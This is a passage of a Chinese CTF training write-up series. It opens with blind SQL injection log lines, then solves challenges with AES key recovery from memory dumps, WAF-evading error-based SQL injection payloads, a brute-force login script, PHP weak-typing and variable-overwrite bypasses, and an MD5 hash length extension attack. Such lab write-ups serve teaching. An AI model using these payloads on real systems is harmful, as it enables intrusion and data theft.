1212 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),10,1))>100 80 - 192.168.1.101 500 0 0
1213 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),10,1))>98 80 - 192.168.1.101 500 0 0
1214 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),10,1))>97 80 - 192.168.1.101 500 0 0
1215 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),33,1))>64 80 - 192.168.1.101 500 0 0
1216 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),33,1))>32 80 - 192.168.1.101 500 0 0
1217 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),33,1))>16 80 - 192.168.1.101 500 0 0
1218 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),33,1))>8 80 - 192.168.1.101 500 0 0
1219 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),33,1))>4 80 - 192.168.1.101 500 0 0
1220 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),33,1))>2 80 - 192.168.1.101 500 0 0
1221 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),33,1))>1 80 - 192.168.1.101 500 0 0

一共十位我们将十个数字提取出来,分别是

53 52 49 51 98 50 52 56 57 97

转成字符5413b2489a

十个字符,如果是16进制也不太对,这样就有五个字符,而且有的也超出了可见字符的范围,这种情况被排除了

再看一看,我们其实能发现theflag的长度是32,从第11位到第32位的判断应该是被出题者人为删去了,又觉得长得很像md5值,于是猜测是flag{xxxx}的md5,发现解不出来,于是又试了一下是不是xxxx的md5值,结果成功解出flag:flag{ahdk}

下面贴上脚本:

import hashlib

str_key = 'flag{xxxx}'
str_md5_fore10 = '5413b2489a'
list_base = list('abcdefghijklmnopqrstuvwxyz')
strtmp = list(str_key)
for i in range(len(list_base)):
    strtmp[5] = list_base[i]
    for j in range(len(list_base)):
        strtmp[6] = list_base[j]
        for k in range(len(list_base)):
            strtmp[7] = list_base[k]
            for l in range(len(list_base)):
                strtmp[8] = list_base[l]
                strtmp_md5 = str(hashlib.md5(''.join(strtmp[5:9])).hexdigest())
                if(strtmp_md5[0 : 10] == str_md5_fore10):
                    print ''.join(strtmp), strtmp_md5

Day 18

阿波罗计划

题干:文件丢失,系统进入紧急状态!指挥官说,文件是加密的,你必须找到密码才能挽救阿波罗号战舰!答案格式flag{xxx}

相关知识:

计算机为了程序快速运行,会讲硬盘中储存的程序指令片段分块的加载到内存队列中等待运行。但是正常情况下,内存只要断电就失去存储内容,不过这个丢失数据过程还是有一定时延的(1~5秒)。攻击者利用这种特性,再加上冷冻技术可以将时延再延伸,就可以将内存中存储的数据备份出来,而这些完整或者破损的内存镜像文件中通常会带有很多我们保存或者登录过的密码

解题步骤:

文件是一个7zip的压缩包,解压,得到一个disk的内存文件

我这里使用foremost分离一下看能不能分离出什么东西来,当然最好的办法是用工具恢复内存镜像文件

打开分离得到的文件夹,看到有zip压缩包,解压,得到一个叫data_encrypted的文件,打开是乱码,确实被加密了

所以我们就要从破损的内存镜像文件中提取密钥,这里我们要使用aeskeyfind这样一个工具,可以去github上下载源码,make一下,就可以安装使用了

root@kali:~/Desktop# aeskeyfind-master/aeskeyfind disk
3ae383e2163dd44270284f1554d9be8d
3ae383e2163dd44270284f1554d9be8d
cda2bdc8f20c46db216c0a616cd11e11
cda2bdc8f20c46db216c0a616cd11e11
Keyfind progress: 100%

当然我们也可以添加-v参数,来查看详细信息

root@kali:~/Desktop# aeskeyfind-master/aeskeyfind -v disk
FOUND POSSIBLE 128-BIT KEY AT BYTE e432784 

KEY: 3ae383e2163dd44270284f1554d9be8d

EXTENDED KEY: 
3ae383e2163dd44270284f1554d9be8d
0e4ddec218700a80685845953c81fb18
00427329183279a9706a3c3c4cebc724
ed844500f5b63ca985dc0095c937c7b1
7f428ddd8af4b1740f28b1e1c61f7650
af7ade69258e6f1d2aa6defcecb9a8ac
d9b84fa7fc3620bad690fe463a2956ea
3c09c827c03fe89d16af16db2c864031
f8000f56383fe7cb2e90f1100216b121
a4c8f2219cf715eab267e4fab07155db
31344bc6adc35e2c1fa4bad6afd5ef0d

CONSTRAINTS ON ROWS:
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000

FOUND POSSIBLE 128-BIT KEY AT BYTE fa2ab84 

KEY: 3ae383e2163dd44270284f1554d9be8d

EXTENDED KEY: 
3ae383e2163dd44270284f1554d9be8d
0e4ddec218700a80685845953c81fb18
00427329183279a9706a3c3c4cebc724
ed844500f5b63ca985dc0095c937c7b1
7f428ddd8af4b1740f28b1e1c61f7650
af7ade69258e6f1d2aa6defcecb9a8ac
d9b84fa7fc3620bad690fe463a2956ea
3c09c827c03fe89d16af16db2c864031
f8000f56383fe7cb2e90f1100216b121
a4c8f2219cf715eab267e4fab07155db
31344bc6adc35e2c1fa4bad6afd5ef0d

CONSTRAINTS ON ROWS:
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000

FOUND POSSIBLE 128-BIT KEY AT BYTE 177c8858 

KEY: cda2bdc8f20c46db216c0a616cd11e11

EXTENDED KEY: 
cda2bdc8f20c46db216c0a616cd11e11
f2d03f9800dc794321b073224d616d33
1fecfc7b1f3085383e80f61a73e19b29
e3f859f4fcc8dcccc2482ad6b1a9b1ff
38304f3cc4f893f006b0b926b71908d9
fc007a9538f8e9653e4850438951589a
0d6ac23235922b570bda7b14828b238e
704cdb2145def0764e048b62cc8fa8ec
838e156ac650e51c88546e7e44dbc692
213a5a71e76abf6d6f3ed1132be51781
ceca568029a0e9ed469e38fe6d7b2f7f

CONSTRAINTS ON ROWS:
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000

FOUND POSSIBLE 128-BIT KEY AT BYTE 177c8948 

KEY: cda2bdc8f20c46db216c0a616cd11e11

EXTENDED KEY: 
cda2bdc8f20c46db216c0a616cd11e11
f2d03f9800dc794321b073224d616d33
1fecfc7b1f3085383e80f61a73e19b29
e3f859f4fcc8dcccc2482ad6b1a9b1ff
38304f3cc4f893f006b0b926b71908d9
fc007a9538f8e9653e4850438951589a
0d6ac23235922b570bda7b14828b238e
704cdb2145def0764e048b62cc8fa8ec
838e156ac650e51c88546e7e44dbc692
213a5a71e76abf6d6f3ed1132be51781
ceca568029a0e9ed469e38fe6d7b2f7f

CONSTRAINTS ON ROWS:
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000

Keyfind progress: 100%

这样我们一共获得了两个密钥

3ae383e2163dd44270284f1554d9be8d
cda2bdc8f20c46db216c0a616cd11e11

这里我们需要使用工具来进行解密data_encrypted文件

得到flag{245d734b559c6b084b7ecb40596055243e8afdd2}

当然你也可以是使用在线解密网站

Day 19

真的注入

题干:真的注入是不畏惧waf,不担心防护,一心向着数据的好注入。却总有风言风语扰乱我心。答题地址:http://daka.whaledu.com/webflag/index.php答案格式whale{xxxx}所以答案是

有关知识:

注入漏洞是web应用漏洞中非常容易出现的一种漏洞,通常包括SQL注入,命令注入和代码注入等。SQL注入漏洞就是利用数据库查询语句结合用户输入的恶意代码进一步查询数据库中隐藏的信息,而命令注入则会利用php等脚本语言中与系统命令执行有关的函数,在其中注入系统命令以达到渗透的目的,而代码注入则是通过向web页面中插入js脚本语言的方式达到入侵效果,例如常见的XSS漏洞和CSRF漏洞

解题步骤:

一开始拿到这题,是真的一脸懵逼,发现很多关键词都被过滤了,而且无法使用双写绕过,毫无头绪,不知道该如何绕过,经过师傅的指点,后来发现题目中的这句话It's seems like xss but It's not,猜想题目会不会有XSS中的一些常见过滤,比如<>

尝试着输入,真的被过滤了,而且是替换为空,这下找到绕过办法了

这里总结一下,有关被过滤的关键词等的绕过方法

首先是空格,我们可以使用%0a或者/**/绕过

接着是可以双写绕过的关键词

columns column_name 

最后是利用<>绕过的关键词

and select information(其实过滤的是or)

首先判断闭合方式,先试一下'闭合,出现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1

于是在最后加上#,正常回显,所以我们就要在'#之间做文章了

注:以下均为'#之间的内容

查询数据库名

an<>d%0aupdatexml(1,concat(0x7e,(sel<>ect%0adatabase())),1)

得到

XPATH syntax error: '~webflag'

成功得到数据库名是webflag

查询表名

an<>d%0aupdatexml(1,concat(0x7e,(sel<>ect%0atable_name%0afrom%0ainfo<>rmation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a0,1)),1)

得到

XPATH syntax error: '~flag_0d9a'

成功得到表名是flag_0d9a

查询列名

an<>d%0aupdatexml(1,concat(0x7e,(sel<>ect%0acolumncolumn_name_name%0afrom%0ainfo<>rmation_schema.columncolumnss%0awhere%0atable_schema=database()%0aan<>d%0atable_name='flag_0d9a'%0alimit%0a0,1)),1)

得到

XPATH syntax error: '~flag'

成功得到列名是flag

查询字段

an<>d%0aupdatexml(1,concat(0x7e,(se<>lect%0aflag%0afrom%0aflag_0d9a%0alimit%0a0,1)),1)

得到

XPATH syntax error: '~whale{hRzfVlzK95LVaASs}'

成功得到flag:whale{hRzfVlzK95LVaASs}

Day 20

不明觉厉

题干:山上的和尚已经回家和公主过上了幸福美满的生活,你还在山上转悠吗?答题地址:daka.whaledu.com/web/web38/答案格式:flag{xxxx},所以答案是

解题步骤:

查看网页源代码,在底部发现一行注释这个地址好特别: 9s81jWjd98YU.php

去到这个页面,是一个验证页面,需要输入密码和验证码

再次查看源代码,又看到一行注释,提示密码在11111~12111之间

于是,写个python脚本

#coding:utf-8

import re
import requests

url = 'http://daka.whaledu.com/web/web38/9s81jWjd98YU.php'
s = requests.session()
flag = '错误'

for i in range(11111, 12112):
    r = s.get(url)
    res = r.content
    num = re.findall(re.compile(r'\d{3}'), res)[0]
    url_get = 'http://daka.whaledu.com/web/web38/9s81jWjd98YU.php?username=admin&password=%s&randcode=%s' % (i, num)
    r = s.get(url_get)
    if flag not in r.content:
        print r.content
        break

跑一下得到flag:flag{venus_Pyth0N_BRUCE}

Day 21

正则进入

题干:正则可以进入,否则停留门外。答题地址:http://daka.whaledu.com/web/web21/答案格式:flag{xxxx}

相关知识:正则、备份文件源码泄露

解题步骤:

扫描一下,发现一个备份文件index.php~

打开一看,是php源代码

<?php
echo "waht the hell?";
$flag = "*******"; 
if  ("POST" == $_SERVER['REQUEST_METHOD']) 
{ 
    $password = $_POST['password']; 
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) 
    { 
        echo 'Wrong Format'; 
        exit; 
    } 
    while (TRUE) 
    { 
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
        if (6 > preg_match_all($reg, $password, $arr)) 
            break; 
        $c = 0; 
        $ps = array('punct', 'digit', 'upper', 'lower'); 
        foreach ($ps as $pt) 
        { 
            if (preg_match("/[[:$pt:]]+/", $password)) 
                $c += 1; 
        } 
        if ($c < 3) break; 
        if ("42" == $password) echo $flag; 
        else echo 'Wrong password'; 
        exit; 
    } 
}
?>

[:graph:]匹配任何可见字符

[:punct:]匹配任何标点符号

[:digit:]匹配任何数字

[:upper:]匹配任何大写字母

[:lower:]匹配任何小写字母

+表示一次及以上

|表示或者

回到代码

/^[[:graph:]]{12,}$/匹配12个及以上的可见字符

/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/匹配标点、数字、大写字母、小写字母中的一个

结整段代码来看,我们需要post一个字符串,该字符串的值为42,并且要包含标点、数字、大写字母、小写字母中三个及以上类型,同时匹配次数要不小于6次

所以使得password=420.00000e-1或者password=42.000000e-0即可

得到flag:flag{h3h3_smart}

Day 22

等量登陆

题干:登录后台的时候总提示我用户名和密码必须一致才能进入!怎么才能一致嘛答案格式:flag{xxxx}答题地址:http://daka.whaledu.com/web/web16/

相关知识:php弱类型、sha1()函数

松散比较(==):

md5:

QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a

sha1:

aaroZmOk aaK1STfY aaO8zKZF aaO8zKZF aa3OFF9m

解题步骤:

打开页面,查看源代码,看到一行注释<!--index.phps-->

访问该页面,看到php源代码

<?php
error_reporting(0);
$flag = '********';
if (isset($_GET['name']) and isset($_GET['password'])){
	if ($_GET['name'] == $_GET['password'])
		print 'name and password must be diffirent';
	else if (sha1($_GET['name']) === sha1($_GET['password']))
		die($flag);
	else print 'invalid password';
}
?>

解读源代码可知,namepassword的值不相等,同时还要使得两者的sha1哈希值相等

看似不可能,但php中sha1()函数存在漏洞,当sha1()遇到的变量是一个数组的时候,返回值为false

所以我们只要使namepassword为两个不相等的数组便可绕过验证

构造name[]=a&password[]=b

得到flag:flag{I_think_that_I_just_broke_sha1}

Day 23

强势替换

题干:我不相信获取不到你的秘密!强势一点一定能行的!答题地址:http://daka.whaledu.com/web/web39答案格式:venusCTF{xxxx}

相关知识:变量覆盖、md5弱类型比较

变量覆盖:

用自定义的参数值替换原有变量值的情况,一般导致变量覆盖漏洞问题的是:

  • $$使用不当
  • extract()函数使用不当
  • parse_str()函数使用不当
  • import_request_variables()使用不当
  • 开启了全局变量注册

$$经常在foreach中出现,利用foreach来遍历数组中的值,然后再将获取到的数据键名作为变量数组中的键值作为变量的值,因此产生了变量覆盖。($$表示定义数据,例如$key = 'a', $$key = 'b'的意思是$a = 'b'

extcact()函数使用数组中的键名作为变量名,使用数组中的键值作为变量值。extract(array[, extract_rules][, prefix])

parse_str()函数用户把查询字符串解析到变量中,如果没有array参数,则由该函数设置的变量将覆盖已存在的同名变量。parse_str(string[, array])

解题步骤:

打开网页,是一段php源代码

<?php 
extract($_GET); 
if(!empty($vs)){ 
    $Ff = trim(file_get_contents($fF)); 
        if($vs!=$Ff){ 
    if(md5($vs) == md5($Ff)){ 
        echo "<p>This is flag:".$flag."</p>"; 
    } 
    else{ 
        "<p>Variable extract!</>"; 
    } 
} 
else{ 
      echo "<p>Hacker!</p>"; 
} 
} 
?> 

根据上面的知识,$vs使用get传参就可以了,但是$fF是利用file_get_contents()来获取的,也就是需要一个文件或者输入

我们可以利用php协议的input方法来传递参数

所以最终在url中输入?vs=QNKCDZO&fF=php://input,再post提交240610708便可以得到flag:venusCTF{m023vabg8t5kjdlo907khdfbc}

Day 24

哈希入侵

题干:入侵到了一个服务器上发现后台竟然利用了md5算法校验用户。这下可以入侵了,但是竟然发现用户名中竟然加盐了!你能帮助蓝鲸入侵到服务器中吗?答题地址:http://daka.whaledu.com/web/web44答案格式:whaleCTF{xxxx}

相关知识:hash长度扩展攻击

hash函数其实有些类似于分组加密算法,每次回处理固定长度的信息(md5是64bit),所以我们要将无论多长的信息长度扩展为64的倍数。而真正在padding的时候不会直接扩展为64的倍数,而是长度对64取余后,余数为56(也就是最后一组数据长度为56),这是因为最后预留了8位来标识原始数据长度。填充的时候,将会使用16进制数据:1个\x80和N个\x00

解题步骤:

打开网页,看到php源代码

<?php
echo "已知一组role为root,salt长度为6,hash为a0566a65f9d6bfd9abf2c116ef1ca2af,想要扩展的字符串是whaleCTF"."<br>";
$flag = "**********";
$role = $_REQUEST["role"];
$hash = $_REQUEST["hash"];
$salt = "***********"; //The length is 6

if ($hash !== md5($salt.$role)){
    echo 'wrong!';     
    exit;
}

if ( $role == 'root'){
    echo 'no no no !, hash cann\'t be root';
    exit;
}

//echo "You are ".$role.'</br>';
echo 'Congradulation! The flag is'.$flag;

?>

我们利用hashpump来生成payload

qiqi@qiqi-Mac ~> hashpump -s a0566a65f9d6bfd9abf2c116ef1ca2af -d root -k 6 -a whaleCTF
aab9a3180e92bd4126d56011b672711f
root\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x00\x00\x00\x00\x00\x00\x00whaleCTF

虽然这里使用的是REQUEST方法,但是如果我们在url中输入的话,%00会被当作00截断,从而把后面的内容都截断了,所以我们要post

role=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00P%00%00%00%00%00%00%00whaleCTF&hash=aab9a3180e92bd4126d56011b672711f

运行一下得到whaleCTF{Hash_13ngth_a1TacK_Fun!}

Day26

简单逆向

题干:真的就是很简单的逆向,先练练手吧~答案格式:flag{xxx}

解题步骤:

确实很简单,用IDA打开,f5,就看到flag了:db2f62a36a018bce28e46d976e3f9864

所以flag是flag{db2f62a36a018bce28e46d976e3f9864}